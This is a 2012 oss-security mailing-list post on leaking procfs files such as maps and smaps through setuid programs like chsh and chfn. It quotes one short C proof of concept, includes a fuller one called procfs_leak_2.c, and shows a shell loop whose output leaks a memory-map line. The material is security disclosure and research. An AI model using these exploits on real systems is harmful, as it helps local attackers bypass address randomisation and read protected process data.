[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]
Date: Thu, 9 Feb 2012 00:03:20 +0100
From: Djalal Harouni <tixxdz@...ndz.org>
To: oss-security@...ts.openwall.com
Cc: "Jason A. Donenfeld" <Jason@...c4.com>
Subject: Re: Linux procfs infoleaks via self-read by a
SUID/SGID program (was: CVE-2011-3637 Linux kernel: proc: fix Oops on
invalid /proc/<pid>/maps access)
Hi Solar, Jason,
Nice one Jason, and I've also found this according to this tweet:
http://twitter.com/#!/tixxdz/status/165818331092365312
And the attached PoC that will leak a one line of the 'smaps' file.
(the same thing of 'maps', and you may read all the lines).
I Did not post it since it seems that there is a fundamental problem
about these protected procfs files.
I've some kernel patches which are not ready yet, I was planning to send
them to lkml and to the kernel-hardening lists to get feedback from the
kernel developers.
On Wed, Feb 08, 2012 at 02:12:58PM +0400, Solar Designer wrote:
> On Wed, Feb 08, 2012 at 06:59:48AM +0100, Jason A. Donenfeld wrote:
> > Might be slightly offtopic,
>
> On topic for this list (thank you for posting!), but not for the
> original thread (I've changed the Subject, but kept the thread since
> this is already in the thread).
>
> > but this is a possible info leak of maps for a suid program:
> >
> > $ cat maps.c
> > #include <unistd.h>
> > #include <fcntl.h>
> >
> > int main(int argc, char **argv)
> > {
> >
> > int fd = open("/proc/self/maps", O_RDONLY);
> > dup2(fd, 0);
> > execl("/usr/bin/chsh", "chsh", NULL);
> > return 0;
> > }
>
> Nice. I guess the same works for /proc/self/mem as well, including with
> lseek(). Using this for more than just an ASLR bypass may be tricky -
I thing that same thing will not work for /proc/self/mem since it was
patched, after the execl() the fd will still referece the old
/proc/self/maps of the maps.c program, not the 'chsh' one.
BTW lseek() on seq files will only succeed on /proc/self/ files.
> need to find a suitable program to abuse. In fact, even the usefulness
> of such an ASLR bypass is very limited since the invocation mode above
> might not be the same as needed for another attack, and the address
> space layout will change between the two execs. (Not to mention that
> ASLR is generally practical to bypass for local attacks anyway by simply
> trying enough times, unless there's lockout.)
>
> I guess it might be possible to get some implementation of chsh to print
> an excerpt from /etc/shadow. Luckily, on Owl we don't have chsh enabled
> for non-root by default and we don't have a global /etc/shadow. ;-)
chsh which is a setuid on most of the distros will read stdin and print
errors to stderr, this is why it can be used as a target program, I did
not search but if there is another program then it may be our 'winner'.
> BTW, what version of chsh did you test this with and what behavior do
> you observe? I was not able to get anything useful in this way out of
> Owl's chsh (once enabled for non-root) - it just asks for the password,
> but somehow fails to read it if one is entered on the tty (perhaps
> there's some inconsistency in use of the tty vs. fd 0). I suppose I'd
> need to get past successful authentication for chsh's input to be
> treated as the new shell name, in which case it'd get printed out (such
> as in an error message) or/and put in /etc/passwd.
Using the attached quick written PoC, you can run this on a setuid 'chfn'
program:
Just set your user password to (without quotes):
"Locked: 0 kB"
$ for i in $(seq 460 480); \
do ./procfs_leak_2 /usr/bin/chfn /proc/self/smaps $i; done
Password: chfn: PAM authentication failed
Password: chfn: PAM authentication failed
Password: chfn: PAM authentication failed
Password: chfn: PAM authentication failed
Password: chfn: PAM authentication failed
Password: chfn: PAM authentication failed
Password: chfn: PAM authentication failed
Password: chfn: PAM authentication failed
Password: Changing the user information for tixxdz
Enter the new value, or press ENTER for the default
Full Name: tixxdz
Room Number [er]: Work Phone []: Home Phone []:
chfn: invalid room number: '00608000-0060a000 rw-p
00008000 08:01 218841
/usr/bin/chfn'
Password: chfn: PAM authentication failed
Password: chfn: PAM authentication failed
This was tested on Ubuntu, Debian default setuid 'chfn'.
You can do this to leak maps of libc... since the lseek() on /proc/self
will pass the ptrace_may_access() check.
Solar as I've said above I believe that there is a compilcated problem
about these files, should I discuss them here or just finish my patches
and try to discuss them on lkml ?
Thanks.
> Alexander
--
tixxdz
http://opendz.org
/*
* Procfs (2) leak
* Author: Djalal - tixxdz
*
* Leak setuid proc files: smaps (maps ... ?)
*
* This will leak info of 'chfn' setuid program
* We can expand it to leak proc files of any process.
*
* To test is set your user password to:
* "Locked: 0 kB"
*
* Run with:
* $ for i in $(seq 460 480); \
* do ./procfs_leak_2 /usr/bin/chfn /proc/self/smaps $i; done
*
* For testing only.
*
* 02/02/2012
*/
#define _LARGEFILE64_SOURCE
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
int leak(char *prog, char *file, off64_t offset)
{
int ret = -1;
char *argv[]={prog, NULL};
char target[512];
pid_t pid = getpid();
memset(target, 0, sizeof(target));
snprintf(target, sizeof(target), "/proc/%d/%s", pid, file);
int fd_leak = open(file, O_RDONLY);
if (fd_leak == -1) {
perror("open");
return ret;
}
dup2(fd_leak, STDIN_FILENO);
if (lseek64(STDIN_FILENO, offset, SEEK_SET) == (off64_t) -1) {
perror("lseek64");
return ret;
}
sleep(1);
execv(argv[0], argv);
perror("execv");
return ret;
}
int main(int argc, char **argv)
{
char *program = NULL;
char *proc_file = NULL;
off64_t offset = 0;
if (argc < 4) {
printf("%s <program> <proc_file> <offset>\n"
" <program>: path of a setuid program.\n"
" <proc_file>: file to read.\n"
" <offset>: Offset.\n",argv[0]);
return -1;
}
program = argv[1];
proc_file = argv[2];
offset = (off64_t) atol(argv[3]);
return leak(program, proc_file, offset);
}
Powered by blists - more mailing lists
Please check out the
Open Source Software Security Wiki, which is counterpart to this
mailing list.
Powered by Openwall GNU/*/Linux -
Powered by OpenVZ